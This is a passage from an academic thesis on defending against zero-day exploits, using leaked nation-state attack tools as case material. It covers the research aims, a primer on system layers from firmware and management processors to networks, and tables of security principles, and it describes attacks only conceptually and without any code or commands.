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Abstract
Zero-day vulnerabilities are unknown and therefore not addressed with the result that they
can be exploited by attackers to gain unauthorised system access. In order to understand
and mitigate against attacks leveraging zero-days or unknown techniques, it is necessary
to study the vulnerabilities, exploits and attacks that make use of them.
In recent years there have been a number of leaks publishing such attacks using various
methods to exploit vulnerabilities. This research seeks to understand what types of vul-
nerabilities exist, why and how these are exploited, and how to defend against such attacks
by either mitigating the vulnerabilities or the method / process of exploiting them. By
moving beyond merely remedying the vulnerabilities to defences that are able to prevent
or detect the actions taken by attackers, the security of the information system will be
better positioned to deal with future unknown threats.
An interesting ﬁnding is how attackers exploit moving beyond the observable bounds to
circumvent security defences, for example, compromising syslog servers, or going down
to lower system rings to gain access. However, defenders can counter this by employing
defences that are external to the system preventing attackers from disabling them or
removing collected evidence after gaining system access.
Attackers are able to defeat air-gaps via the leakage of electromagnetic radiation as well
as misdirect attribution by planting false artefacts for forensic analysis and attacking from
third party information systems. They analyse the methods of other attackers to learn
new techniques. An example of this is the Umbrage project whereby malware is analysed
to decide whether it should be implemented as a proof of concept.
Another important ﬁnding is that attackers respect defence mechanisms such as: remote
syslog (e.g. ﬁrewall), core dump ﬁles, database auditing, and Tripwire (e.g. SlyHeretic).
These defences all have the potential to result in the attacker being discovered. Attackers
must either negate the defence mechanism or ﬁnd unprotected targets.
Defenders can use technologies such as encryption to defend against interception and
man-in-the-middle attacks. They can also employ honeytokens and honeypots to alarm,
misdirect, slow down and learn from attackers. By employing various tactics defenders
ii
are able to increase their chance of detecting and time to react to attacks, even those
exploiting hitherto unknown vulnerabilities.
To summarize the information presented in this thesis and to show the practical impor-
tance thereof, an examination is presented of the NSA's network intrusion of the SWIFT
organisation. It shows that the ﬁrewalls were exploited with remote code execution zero-
days. This attack has a striking parallel in the approach used in the recent VPNFilter
malware. If nothing else, the leaks provide information to other actors on how to attack
and what to avoid. However, by studying state actors, we can gain insight into what other
actors with fewer resources can do in the future.
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Chapter 1
Introduction
1.1 Context of Research
Levy (2004) deﬁnes a zero-day vulnerability simply as an unpublished vulnerability al-
though practically it is used to refer to such vulnerabilities that are being exploited by
attackers.
Yoran and Robertson (2015) deﬁne zero-day attacks as the time between the ﬁrst detection
of (previously unknown) vulnerabilities and their exploitation. Building on the descrip-
tion by Blunden (2014), zero-day vulnerabilities can be described as unpatched ﬂaws in
software, ﬁrmware and hardware which attackers can use to compromise information and
communication technology systems.
Zero-day vulnerabilities and their associated exploits constitute a set of unknowns in
information security. Recent releases of stockpiled zero-days from Hacking Team by Wik-
ileaks (2015), the NSA as documented by IC Oﬀ the Record (2013) and the CIA as per
WikiLeaks (2017) inform us that there are zero-days being developed, stored and used.
From this we can conclude that compromises of systems can and do occur where no patch
is available, i.e., when a zero-day exploit is used to eﬀect the compromise.
As the impact of a security breach on an organisation does not depend upon the exploited
vulnerability being a zero-day, one can understand the severity of the problem by con-
sidering the impact of recent non-zero-day breaches. The Equifax breach was due to a
vulnerability unpatched for two months while Deloitte's email and other services were
exposed due to poor conﬁguration and security of admin accounts1.
In the case of Equifax, the records of 145.5 million Americans were compromised (Equifax,
2017) while at Deloitte, the email communication between the auditors and their clients
was rendered accessible to an attacker2. Similar to the Target breach in 2013, which
according to Radichel (2014) aﬀected 70 million customers and caused both the CIO
1https://www.theregister.co.uk/2017/09/26/deloitte_leak_github_and_google/
2https://krebsonsecurity.com/2017/09/source-deloitte-breach-affected-all-company-
email-admin-accounts/
1
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and CEO to lose their jobs, the CIO and CEO of Equifax also had to step down3. The
share price of the company dropped from USD 140 to USD 93 and has subsequently only
recovered to USD 103 as at November 2018. Shareholder value destruction and career
damage underline the severity of the impact from system breaches.
New instances of existing vulnerability types are constantly being discovered. New classes
of exploits are being developed. Therefore, we can state that there are unknown vulnera-
bilities and exploits. Finding ways to defend against these known and unknown unknowns
would assist in improving information security of organisations against both zero and non-
zero-day attacks.
1.2 Research Statement
This research aims to identify generally applicable defences that apply to entire classes
of exploits. It does this through examining previously secret attack tools and techniques
that exploited unknown vulnerabilities and identiﬁes common factors that make them
possible or allow for their detection.
It is envisaged that such defences will be techniques that can be implemented across
disparate technology stacks and that architectural choices, which eﬀectively amount to
defence-in-depth, will feature heavily. This is to prevent a situation where each individual
vulnerability is discovered and remedied in a continuous stream resulting in only a ﬂeeting
moment of security for known attacks. The intended result of implementing such defences
would be systems that are resilient to future unknown attacks.
By way of example to prevent exﬁltration of data over Radio Frequency (RF), jamming or
signal blocking (Faraday cage eﬀect) could be implemented. While attackers could boost
the power that they use to energise the sending unit or increase the gain of their antenna,
this can become impractical as it would make detection easier.
Through combining multiple defensive techniques that overlap and reinforce each other it
is hoped to avoid a single point of failure resulting in compromise. For example, chains
of trusted certiﬁcates could be replaced with either webs of certiﬁcates or blockchain and
RF signal blocking could be supplemented with monitoring of the same.
3http://www.businessinsider.com/equifax-ceo-out-2017-9
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1.3 Objectives of the Research
The primary aim of researching hitherto unknown attack tools and techniques of nation
state actors was to assume a worst case scenario of well resourced attackers exploiting
unpatchable vulnerabilities and ascertain how to defend against these. The intention
being that if defenses can be identiﬁed which are capable of detecting, denying or deterring
such attacks, then these would also prove useful for defending against attackers with fewer
resources and attacks that seek to exploit known vulnerabilities.
Two main objectives were pursued:
1. Categorize exploits and vulnerabilities into types or classes such that a particular
type of defence can be employed to prevent or mitigate each class.
2. Identify new and existing techniques, processes, approaches and/or architectures
that can be used to defend against unknown vulnerabilities.
To illustrate this three examples are provided:
 Attacks using electromagnetic techniques, e.g., to bridge air gaps or exﬁltrate data,
could potentially be detected by Software Deﬁned Radio (SDR) monitoring. Such
SDR units could be monitored in the same manner as an Intrusion Detection System
(IDS). An Intrusion Prevention System (IPS) version could generate interference on
any frequencies detected.
 Malicious ﬁrmware inserted into, e.g. routers in Section 4.1.3, may be detected
by reading the contents of the ﬂash memory or Electrically Erasable Programmable
Read-Only Memory, dumping it to ﬁle and then comparing the calculated checksums
against those of the ﬁrmware known to be good.
 Global System for Mobile communication (GSM) tower emulation is a known at-
tack and the NSA ANT catalogue released by Wikileaks (2015) has multiple such
attacks. To prevent such impersonation of network base stations some sort of sign-
ing approach e.g., certiﬁcates could be employed. This would enable handsets to
distinguish between legitimate and illegitimate cellular phone towers.
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1.4 Approach
The approach taken in conducting this study is as follows:
1. Examine large collections of vulnerabilities and exploits, e.g., the NSA ANT Cat-
alog as presented by IC Oﬀ the Record (2013), the Equation Group Leaks and
the CIA Vault 7 and 8 releases by WikiLeaks (2017) and potentially the Common
Vulnerability and Exposures (CVE) database maintained by Mitre (2017).
2. Investigate whether these vulnerabilities and subsequent exploits were preventable;
e.g., the exploit was possible due to lack of patching, or running legacy protocol
versions. Perhaps bad architecture could have enabled it. If the human factor is
attacked e.g., phishing, then is it a user training issue or is the technology at fault
for not alerting or otherwise protecting the user?
3. Classify the attacker approaches and techniques; e.g., attacking people or technology,
circumventing security, evading detection, interception, ﬁnding location, achieving
persistence, and so on.
4. Determine if there are common or general defences against these attacks that would
also prevent new variants of the same attack in the future.
5. Propose additional methods to prevent, mitigate or detect zero-days.
1.5 Limitations of the Research
This thesis does not cover all the existing attacks or the methods contained therein due
to the sheer volume thereof. It instead analyses selected attacks, the ﬁndings of which
illustrate attacker methods to be defended against.
As the data being analysed comes from various leaks, it is not always possible to determine
the veracity of this data. However, this is mitigated by examining the leaked data for
consistency and cross-referencing the ﬁndings from the various areas and veriﬁcation of
some authors of the material.
1.6 Thesis Organisation
The remainder of this thesis is organised as follows:
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Chapter 2 examines existing literature describing areas of information technology systems
that have been or could be attacked.
Chapter 3 provides several ﬂow charts to explain the methodology used to analyse the data
sources and synthesise common attacks into classes and generalised defences for these.
Chapter 4 is a descriptive analysis of existing, recent attacker exploit tools and attacks
with the aim of determining what methods are employed.
Chapter 5 distils generic, reusable attacker methods found during the analysis discussed
in the previous chapter.
Chapter 6 examines possible defences to the attacker methods detailed in Chapter 4. The
chapter concludes with a discussion of what defenders should take into consideration.
Chapter 7 is a case study of how the defence techniques and tactics laid out in Chapter
6 would have allowed for defenders to know of and/or prevent an attack.
Chapter 8 contains other considerations for defenders that are not defences against types
of attacks. It also concludes with a discussion that examines the implications of these
additional considerations.
Chapter 9 provides a conclusion to the thesis consisting of a summary of ﬁndings, contri-
butions and areas that require future research.
Chapter 2
Technology and Information Security Primer
This chapter begins with an overview of fundamental information system architectural
design concepts and components. This is followed by an introduction to security principles
and practices before proceeding to explore sources of research into zero-day vulnerabilities
and their exploits.
2.1 Information System Architecture Concepts
This section addresses the basic information system architectural concepts, components
and terminology that are referred to in the remainder of the thesis.
There are also bodies of work that address either zero-days or the security of speciﬁc areas
in which zero-day vulnerabilities may be found.
2.1.1 People, Processes and Technology
Information systems are comprised of people, processes and technology. It is possible to
compromise a system by targeting one of these components.
People design, build, implement, administer and use information systems. They can
control the input and the decisions surrounding the system. Compromising the person
can allow for the system's security in the phase or area to be bypassed.
Security controls identiﬁed by the organisation need to be embedded into the organisa-
tion's processes. If these controls have not been identiﬁed, if they have not been added to
the processes and/or if they are not being followed, there is an opportunity for an attacker
to take advantage of a weakness that has no control in place to counter it.
Too much focus on one component area to the detriment of another can allow attackers
to attack the resultant weak point.
6
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Social engineering
Mouton et al. (2016) state that social engineering is the practice of targeting the human
element of information systems and inﬂuencing them to divulge information that is of a
sensitive nature. The authors state that such social engineering attacks can be broken
down into six main phases, namely, formulating the attack to identify the target and the
goal, gathering information on the target and goal, preparation entailing combining the
gathered information and developing the attack vector, developing the relationship with
the target by establishing communication and building trust, exploiting the relationship
to get the desired result and ﬁnally the debrief phase where the target is maintained while
the goal attainment is conﬁrmed.
2.1.2 Technology Protection Rings
Technology makes frequent use of abstraction layers, e.g., the Open Systems Intercon-
nection (OSI) model for networking and ﬁle-system management in Operating System
(OS)es. This can be applied to security which can be conceptualised as rings or lay-
ers that make up the system. Gollmann (2010) states that security levels are layers of
indirection between subjects and objects.
Traditionally there were four rings of protection on x86 processors. According to Duarte
(2008) these range from zero to three which are the most and least privileged, respectively.
The OS kernel runs as ring zero while applications are in ring three with rings one and
two being unused.
King and Chen (2006) state that as the lower layers in the system provide the abstractions
on which the upper layers depend, they are able to control these higher layers. Thus they
created ring 'negative one' rootkits which operate at the hypervisor layer. They also show
that the best way to detect a rootkit is to control a layer below it.
The negative protection rings, at the time of writing, extend as far as 'negative three'.
Tereshkin and Wojtczuk (2009) mention that ring 'negative two' is the system manage-
ment mode of the processor before introducing a rootkit that targets ring 'negative three'
by exploiting Intel's Active Management Technology (AMT)/Management Engine (ME)
out-of-band management technology.
As a result, the protection rings now extend from three, the lowest privilege, to 'negative
three', the highest privilege level.
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2.1.3 Software
Software is used to implement a huge variety of functionality on hardware that oﬀers
limited functionality. Manadhata and Wing (2011) propose ranking the relative security
of diﬀerent system versions based on their respective attack surfaces.
Bilge and Dumitras (2012) studied millions of Windows hosts in order to determine what
zero-day attacks targeted them. Their study focused on malicious binaries.
Various approaches have been proposed to detect and defend against zero-days exploits,
e.g., statistical, signature, behaviour and hybrid based techniques by Hammarberg (2014).
Anti-virus software speciﬁcally monitors and searches for malicious software residing on
disk using signature or heuristic detection. It can also detect malicious activity. However,
Metcalf (2016) states that most anti-virus software has a blind spot in that normal system
components can be used to obtain control over a machine, e.g., Microsoft PowerShell1.
Application
Application or user space software runs at ring three which is the highest and least priv-
ileged of all the technology rings. This software is often targeted by attackers to achieve
an initial foothold which is leveraged by escalating privileges to obtain administrator level
access. The web browser has become a prime example of attackers targeting application
software. Frei et al. (2008) state that when malicious or compromised websites are visited
by users, the exploit scripts, written in JavaScript, CSS and HTML amongst others are
interpreted either by their browsers or by the installed plug-ins in the case of Flash, Java
and so on.
Operating System Fundamentals
If the OS has been compromised, then the application security of the system can be
circumvented. This is amply demonstrated by the CIA working around chat applications
with end-to-end encryption by compromising the end device capturing the unencrypted
text from the keyboard or screen2.
Similarly, if the OS ﬁle-system handling has been compromised by malware then it could
be hidden from any reads to the ﬁle-system by the Personal Security Product (PSP)
rendering it undetectable.
1https://docs.microsoft.com/en-us/powershell/
2https://twitter.com/wikileaks/status/839181861976956928
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System calls allow transition from user to kernel space, i.e., an application running in user
space can request the kernel to perform a function. Warrender et al. (1999) state that
by observing and analysing what sequence of systems calls constitute normal application
process behaviour, it becomes possible to detect deviations from this norm that indicate
that a security violation has taken place; this mechanism can be used by an IDS.
WMI Web-Based Enterprise Management is a standard for accessing management in-
formation in enterprise environments. One such implementation is Microsoft's Windows
Management Instrumentation (WMI) which uses the Common Information Model to rep-
resent managed components such as systems, networks, devices, applications and so on
(Dizon et al., 2010).
The authors explain that WMI provides a database of information about the OS that
attackers can use to leverage and steal information, automation which can also be used
for malicious purposes, a pipe for connecting the inner workings of the OS thus providing
malware with escalated privileges, embedding malicious scripts into the normal services
resulting in their execution and determining OS properties which allows for probing and
spying on a system.
PowerShell / Scripting Kazanciyan and Hastings (2014) state that the widespread
availability of PowerShell in Microsoft Windows environment has resulted in attackers
increasingly adopting it as a mechanism to achieve remote code execution, perform code
injection and deliver exploit shellcode. It can also be used to gather information, achieve
persistence and bypass anti-virus. Due to it being built in functionality of the OS, this
removes the requirement for attackers to load external components and thus reduces the
chances of them being detected.
While PowerShell can be also be installed on Linux and MacOS3, other OSes have their
own scripting languages which can be used for malicious purposes, e.g., Python and shell
scripting on Linux and AppleScript on MacOS4. With Windows now having a Linux sub-
system this opens it up to being attacked by bashware to stealthily load payloads5 and
thus avoid detection by security software.
3https://github.com/PowerShell/PowerShell
4https://duo.com/blog/the-macos-phishing-easy-button-applescript-dangers
5https://research.checkpoint.com/beware-bashware-new-method-malware-bypass-
security-solutions/
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2.1.4 Virtualisation and Containerization
Scheepers (2014) states that virtualisation entails replacing the hardware beneath an OS
with a virtual machine provided by a hypervisor. Multiple guest OSes can be run in their
own individual virtual machines on one physical machine with the hypervisor providing
separation between the virtual machines. A similar concept is containerisation where
an OS provides containers for applications to run in but the same kernel is used. Both
virtualisation and containerisation provide isolation by separating components.
2.1.5 Firmware
Firmware is an attractive target for attackers as it oﬀers persistence. For example, the CIA
(2015) notes that variables stored in the Non-Volatile Random Access Memory (NVRAM)
oﬀer an interesting opportunity for their tools to acquire storage that persists across OS
re-installation which results in the hard drive being formatted. The CIA (2015b) also
provides internal documentation on how to reverse engineer ﬁrmware. This documentation
ﬁrst shows how to extract the ﬁrmware from an Apple Airport before dumping it to a
ﬁle. It then demonstrates how to parse the ﬁrmware, extracting the public and private
keys as well as the NetBSD kernel.
While not targeting zero-days, Zhou et al. (2009) discussed ﬁrmware threats as well as
ways and means of detecting vulnerabilities and malicious code that may exist in ﬁrmware.
While it is possibly to dump ﬁrmware to ﬁle and verify that it has not been modiﬁed from
the version published by the vendor, there exist other problems. It is possible to load
malicious code into non-permanent memory where defenders may not think to look at the
cost of losing persistence in the event of rebooting.
If the vendor is compromised and releases ﬁrmware that contains a vulnerability or exploit,
that would need to be addressed by open source ﬁrmware. However, this is often not
possible, e.g., Intel is unable to release the source code for Express Logic's ThreadX
which runs on its ME6. AMD has stated (Aylor et al., 2017) that while they have had
multiple security companies audit their Secure Processor (SP), they are not at the point
where they are going to open source its ﬁrmware.
2.1.6 Hardware
Hardware is a large attack surface. Paganini (2013) lists backdoors introduced in manufac-
turing, eavesdropping by accessing protecting memory, introducing faults and counterfeit
products which can provide unauthorised access, as common attacks against hardware.
6https://libreboot.org/faq.html#intelme
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Memory
Kim et al. (2014) write that the nature of Dynamic Random Access Memory (DRAM)
manufactured using modern small scale photo lithography process technology allows the
bit values stored in memory cells to be ﬂipped by repeatedly accessing the values stored
in adjacent cells. The authors list seven potential solutions. Better quality chips through
improved circuit design for the current process size. Correcting errors through Error
Correcting Code (ECC) technology. Refreshing all memory rows frequently at the cost
of lower performance and increased power usage. Manufacturers could test chips and
retire vulnerable cells before shipping them. End users could test modules and employ
the above solutions to mitigate the problem. Refresh rows that neighbour hot (highly
accessed) rows. Implement a probabilistic refresh of adjacent rows.
2.1.7 CPU Architecture
CPUs are complex devices optimised for computational performance. This complexity
and performance optimisation can lead to unintended characteristics which attackers can
exploit to extract information that they are not entitled to.
Cache
Smith (1982) states that main memory is much slower than the CPU. To avoid slowing
down the CPU due to slow memory access times, small amounts of very fast memory
are employed as buﬀers or caches of frequently accessed data and/or instructions. There
are various areas of memory storage including registers, transaction lookaside buﬀer, in-
struction and data caches. The cache may be split into multiple levels with smaller faster
caches complemented by larger but slow caches.
PipeLining
Vegesna et al. (1997) state that pipelining is a commonly used technique for increasing
CPU throughput. It works by breaking down the instruction execution into a sequence
of stages that each perform a speciﬁc portion of the overall execution. As each stage
completes its work on an instruction, it can begin work on the next instruction provided
this does not depend on the result of another (later) stage that has not yet completed.
Should the subsequent instruction require results that are not yet ready, then those stages
will remain unutilised.
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Out-of-Order Execution
Lipp et al. (2018) write that out-of-order execution is a method of increasing processor
execution unit utilization whereby the computation is performed as soon as the required
resources are available and not necessarily in the order in which they were issued to the
processor.
To support the use of multiple execution units, Tomasulo (1967) described an algorithm7
involving the use of a common data bus and register tagging to ensure the instruction
order precedence was maintained during out-of-order execution.
Speculative Execution
Intel (2018) describes speculative execution as a method of executing instructions before it
can be determined that they are needed, e.g., in the case of a branch it will not wait for the
results of all the branch instructions to complete. The operations performed speculatively
have a transient eﬀect on caches and the Transaction Look-aside Buﬀer8.
2.1.8 System Management Mode
Embleton et al. (2013) write that System Managment Mode (SMM) is a mode of 32- and
64-bit x86 processors designed for running low level hardware functions (e.g., controlling
power state) instead of OSes. It runs with higher privilege than protected mode in which
the OS runs and so cannot be observed by the OS.
2.1.9 Out-of-Band Management
Management processors can be divided into two groups. There are those that are embed-
ded in the processor or motherboard chip-set and can access system memory invisibly, e.g.,
Intel AMT/ME and AMD SP, and those that are separate from the main computer and
function closer to peripherals, e.g., Remote Serial Consoles or Lights Out Management.
Skochinsky (2014) presented a talk explaining that Intel provides an embedded micro-
controller called ME which provides out-of-band management. This ME executes its own
code and has direct access to the memory, network hardware and so on, of the host system.
7https://en.wikipedia.org/wiki/Tomasulo_algorithm
8https://en.wikipedia.org/wiki/Translation_lookaside_buffer
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Ermolov and Goryachy (2017) explained how they detected a vulnerability in the Intel
ME, exploited it and overcame security features in order to run unsigned code on the
Platform Controller Hub (PCH), which has access to almost all system data. As the ME
operates below the level of the OS running on the host, detecting what it is doing requires
looking beyond the host. One method of detecting nefarious activity would be to monitor
network traﬃc from the host using a separate ﬁrewall or network monitoring tool.
Management Processors
Intel Active Management Technology Tereshkin and Wojtczuk (2009) discuss In-
tel's AMT, which is based on Intel's ME. It is independent of the processor and is active
even when the system is in deep sleep power saving mode. Furthermore, it has access to
the system's main memory via Direct Memory Access and network access via the system's
network interface card.
AMD Secure Processor AMD (2015) explains that their SP (previously Platform
Security Processor) is an ARM-based processor, which is embedded in the hardware of
their system on chip designs.
Management Consoles
Out-of-band management consoles can also take the form of separate modules with their
own processors, memory, networking and power, e.g., Advanced Lights Out Manager9,
Integrated Lights Out10 or Remote Serial Console11. Even though these systems do not
have access to system memory and are merely virtual keyboards, mice and optical drives,
they are connected directly to the systems hardware and appear as local hardware by the
OS. Oracle states that its ILOM units can perform serial console redirection, which would
give them access to the BIOS or Open Boot Prom.
These out-of-band management consoles also suﬀer from vulnerabilities with CVE (2018)
listing 15 vulnerabilities for Oracle's ILOM product.
9https://docs.oracle.com/cd/E19102-01/n440.srvr/817-5481-11/index.html
10https://en.wikipedia.org/wiki/HP_Integrated_Lights-Out
11https://docs.oracle.com/cd/E19683-01/816-3314-12/ucm_overview_chap.html
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2.1.10 Networks
Networks, while external to the systems they connect, serve as a conduit for data trans-
ferred between these systems and thus have access to it. Wang et al. (2010) propose
a model for measuring network security versus zero-day attacks. However, their work
does not contain techniques on how to defend against such zero-days but merely provides
metrics to evaluate such techniques.
An example of a metric that can be used to evaluate the resilience of a network in the
face of a zero-day attack is network diversity as modeled by Zhang et al. (2016).
There are well-known techniques such as segmenting the network, deploying perimeter
and internal ﬁrewalls, and monitoring network traﬃc using IDS and IPS (Cisco, 2016).
Network architecture can be a useful tool in identifying and mitigating exploits arising
from other sources.
Open Systems Interconnection Model
Bauer and Patrick (2004) propose that the original seven layer OSI12 model be extended
with three additional layers resulting in Table 2.1. This expanded model stretches from
the transmission medium through various protocols to the input / output devices and
the human that makes use of them. This allows it to serve as a good map of the attack
surface around the computing and storage devices.
10 Human Needs Communication, entertainment, knowledge, transactions.
9 Human Performance Memory, perception of colour, movement, audio ﬁdelity.
8 Display Screens, printers, keyboards that a user experiences.
7 Application The layer used by the user application, e.g., HTTP or FTP.
6 Presentation Translates between data for network transmission.
5 Session Starts, manages and ends connections.
4 Transport Packet segmentation, retransmission and sequencing.
3 Network Transfers packets between nodes across multiple networks.
2 Data Link Controls connections between directly connected devices.
1 Physical Conversion of digital signals to electrical, light or radio.
Figure 2.1: Layers of the Open Systems Interconnection model
12https://en.wikipedia.org/wiki/OSI_model
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Networks consist of various components which fall into one or more of the OSI layers. All
but the most basic of networks are comprised of multiple components that include Wide
Area Network (WAN) links, switches, routers and ﬁrewalls.
A WAN is typically diﬀerentiated from a Local Area Network (LAN) by the fact that
in addition to the higher layers it also operates in layers one and two13. As WAN links
connect oﬃces and data centres these are part of the external attack surface available to
attackers.
Convery (2002) states that layer two can be attacked and, if successful, will give attackers
access to the layers above, barring any encryption that has been implemented with the
keys already distributed prior to layer two being compromised. The author states that
an attacker can eavesdrop on all network traﬃc sent via the switch by ﬂooding the table
which tracks which MAC addresses are associated with which physical port. This forces
the switch into hub mode causing all traﬃc to be sent to all ports. Alternatively, to
hop Virtual LANs, the attacker could use Cisco's Dynamic Trunking Protocol or perform
double 802.1q encapsulation where the frame is tagged with a VLAN that the target is
using. By targeting ARP, DNS can be spoofed and users can have their traﬃc intercepted
via a Man-in-the-Middle (MITM) attack.
Routers operate at layer three and serve the purpose of routing packets between diﬀerent
networks (segments). They function as a gateway and are capable of performing network
address translation. Attackers can attack the router and add NAT rules allowing them
to reach systems on the internal network from the outside14.
Firewalls typically operate at layer three and four where TCP and UDP function but
some can function as high as layer seven where the packet payload is inspected15. At the
lower layers, traﬃc is dropped based on source and destination IP addresses as well as
the network port. Access Control Lists are a widely used feature in ﬁrewalls that serve to
group together related rules that allow access based on the speciﬁed criteria. As ﬁrewalls
become more widespread and important for security, ensuring that their conﬁguration
is correct has become increasingly essential. This has led to techniques such as static
analysis of ﬁrewall conﬁguration to identify instances of misconﬁguration (Yuan et al.,
2006).
13https://www.cisco.com/web/learning/netacad/demos/CCNA2v3Demo/ch1/1_1_4/index.html
14https://blogs.akamai.com/sitr/2018/11/upnproxy-eternalsilence.html
15https://www.petri.com/csc_routers_switches_and_firewalls
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Wireless networking
Some networks technologies make use of the radio spectrum for transmission instead of
electrical or ﬁbre optic mediums, examples of these include Wireless LAN (WLAN) and
cellular phone networks.
WLAN technology removes the requirement for wires and thus allows for increased mo-
bility. However, the nature of the technology allows attackers to intercept network traﬃc
for eavesdropping or manipulation purposes or perform denial of service attacks without
requiring physical access to the network (Hiltunen, 2008).
Universal Mobile Telecommunications System (UMTS) cellular phone networks consist of
numerous types of elements. On the radio side, with which the end user devices communi-
cate, are the radio base stations that are controlled by a Radio Network Controller (RNC)
which connects them to the core network (Szlovencsak et al., 2002). Media gateway nodes
connect the RNCs to the transport nodes which in turn connect them to the rest of the
core network as well as to other RNCs via other transport nodes (Harmatos, 2002).
Radio-location is possible due to the propagation characteristics of radio waves that can be
used to determine the location of their origin. This can be done by numerous techniques
including measuring the signal strength, the time it takes for the signal to arrive and the
angle of arrival. The measured information is then processed to provide an estimated
position of the source (Smit et al., 2012).
2.1.11 Smartphones
Smartphones are small computers that store and transmit information. They also have
additional features such as being able to provide geographical location via Global Posi-
tioning System (GPS) and/or Global Navigation Satellite System (GLONASS) as well as
recording photographs, audio and video via the built-in cameras and microphones.
According to Buchka and Firsh (2018) the Skygofree malware exploits this functionality
to capture audio and exﬁltrate stored data such as messages, call records and geographical
location.
In their paper on detecting malware aimed at phones, Grace et al. (2012) note that the
proliferation of smartphones has encouraged malware authors to target app marketplaces
with their malware. The sheer scale of the number of applications makes it hard to detect
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these malicious apps. The authors created RiskRanker16 which does not need malware
samples or signatures. It assesses applications in the app store and identiﬁes those that
are risky for further investigation.
2.1.12 Encryption
Encryption transforms a message or ﬁle into an encrypted text that can only be decrypted
by those in possession of the code or key. The advent of public private key cryptography,
whereby either of the keys can be used to encrypt or decrypt messages for or from the
other, solved the key distribution problem of symmetric keys.
This can be used to provide conﬁdentiality of stored data or communications. By com-
puting and including a checksum hash of the original message prior to encryption, it can
provide assurance that integrity has been maintained.
The utility of encryption includes assurance as to the identity of a sender or computer by
cryptographically signing the message or a certiﬁcate by an already known and trusted
provider. This is possible due to being able to separate the private and public key, e.g., by
embedding the public key into a certiﬁcate while maintaining the secrecy of the server's
private key.
2.2 Security Principles and Practices
This section serves to introduce the best practice for security principles and practices.
2.2.1 Security Principles
Various lists of computer and information security principles have been proposed. A high
level organisation-centric view is provided by Swanson and Guttman (1996) who outline
eight principles of system security. These principles serve as a guide to decision-making
during the creation or updating of systems, policies and procedures, thereby resulting in
better security.
Firstly, security principles should support the organisation's mission by protecting its re-
sources, e.g., its information, systems and reputation. Secondly, they are a fundamental
16RiskRanker is a prototype which was used to automatically assess a sample of 118 318 Android apps
and highlighted 3218 which were deemed suspicious and ultimately 718 malicious apps and 322 zero-days.
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part of management as information systems are critical to the functioning of the organ-
isation and management needs to decide how much risk they will mitigate versus how
much they will accept in terms of impact to the organisation's functioning. Thirdly, they
must be cost-eﬀective in terms of the beneﬁts derived from reducing potential insecurity
losses versus the direct monetary and indirect eﬃciency costs of the controls. They should
make systems owners responsible for security beyond the organisation, e.g., informing its
external users or customers about the level of security and ensuring an adequate response
to any breaches thereby retaining customer trust and ensuring compliance with legislative
requirements. The principles also require responsibilities and accountability for system
security to be explicit for its providers, owners, users, and so on. They must necessitate an
approach which works together with other management controls and beyond the scope of
information security to include, e.g., physical and personal security. Due to the dynamic
nature of computers and their environment, security needs to be reassessed over time, e.g.,
due to new security ﬂaws discovered by researchers or attackers. Lastly, societal factors
can constrain information security, e.g., privacy concerns or resistance to certain methods
of authentication may prevent their implementation necessitating the implementation of
other controls or resulting in decreased in security.
For a more technical system-centric view, Stoneburner et al. (2001) provide a list of infor-
mation security principles in Table 2.1 to be considered when designing, developing and
operating information systems. These principles have several areas including understand-
ing the risk appetite and the mitigation beneﬁt versus cost trade-oﬀ, putting in adequate
eﬀort to the design process to ensure the quality thereof as well as the mitigation of risk
through techniques such as compartmentation, isolation and defense in depth via mul-
tiple overlapping controls. Other areas include using authentication, authorization and
accounting, ensuring that conﬁdentiality and integrity are ensured (e.g., via encryption)
and practising secure software development.
While Stoneburner et al. (2001) state that external systems are insecure, even internal
systems that are not exposed to the Internet, outsiders or the public are vulnerable to
insider threats who have access to these systems, e.g., disgruntled employees or internal
spies as per Casey (2007).
One example is the rise of virtualisation and cloud computing, where data is processed on
shared systems, which has opened up new attack vectors and illustrates how logical and
physical security boundaries can change over time. Another is how information can be
protected while in transit or at rest, e.g., by encrypting ﬁlesystems and backups thereof
as well as secure decommissioning of systems that have reached their end of life.
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Table 2.1: System centric security principles
Understand and target the level of risk that is acceptable to the organisation.
Only implement necessary mechanisms needed to achieve security services that support
security goals.
Understand and highlight the trade-oﬀs between risk reduction and the increased costs
which include decreased operating eﬃciency.
Tailor system controls to the unique security requirements of the organisation.
Create a solid security policy to serve as the basis for information system design.
Ensure that security is a fundamental consideration of the system's design.
Specify in detail both the logical and the physical security boundaries controlled by
the relevant security policies.
Use open standards whenever possible when creating security to facilitate interoper-
ability across platforms.
Security requirements should all be developed using the same language to allow for
comparison and evaluation.
Security designs should enable feasibly upgrading technology as it becomes available.
External systems are deemed insecure.
Protect against known attack classes, e.g., insider, physical or proximity attacks.
Describe and preclude frequent recurring errors and/or vulnerabilities, e.g., buﬀer over-
ﬂows, lack of input validation, excessive privilege, etc.
To reduce the chance of ﬂaws be as simple as possible and as complicated as necessary.
Multi layer security removes single points of failure and increases eﬀort for attackers.
Security services are implemented by multiple components that are distributed physi-
cally and logically, e.g., centralised network based authentication for multiple hosts.
Systems should be resistant to penetration or circumvention of their security controls.
Employ mitigation techniques to limit and/or contain exploits of vulnerabilities.
Security measures should cater for multiple levels of security on the same infrastructure.
Create information systems which resist attack, contain damage and recover rapidly.
Minimize the parts, i.e., people, processes, technology, to be trusted in a system.
Mission critical resources should be logically or physically separated from publicly
accessible systems.
Separate information systems and/or networks using access control devices and policies.
To apply suitable access control, users and processes require authentication.
Enforce the use of individual identities to ensure accountability.
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Audit mechanisms should enable the detection of unauthorised access and allow for
later investigation.
Ensure the concept of the least privilege necessary is used to limit exploitation severity.
Information should be protected during storage, transit and processing.
Systems that are end of life should be decommissioned securely to prevent loss of
conﬁdentiality.
Aim for security control ease of use in daily operations.
Create and practice business continuity plans to ensure availability.
Bespoke or customized systems may be required when oﬀ the shelf systems cannot
provide suﬃcient security.
Use developers that are trained in secure software development.
2.2.2 Security Practices
Swanson and Guttman (1996) identify 14 security practices for information technology,
presented in Table 2.2, which provide guidance to organisations on eﬀective controls,
objectives and procedures, or as a means to assess the existing policies and procedures of
the organisation.
These security practices include managing risk and information technology assets across
their entire lifespan, people via pre-hiring screening, training and job design as well as
utilising authentication, authorization and accounting to control access and provide audit
trails to support monitoring and investigation. Additional areas addressed by security
practices include the use of encryption to conﬁrm identity, conﬁdentiality from unau-
thorised parties and integrity by preventing modiﬁcation as well as addressing disasters
through planing and prevention eﬀorts.
Table 2.2: Security practices
Security policy provides direction from management in the form of rules, goals and
responsibilities to address organizational, issue and system security objectives.
Security program management takes place at a centralized or organizational level, and
more speciﬁc (in term of technology or function) system level programs.
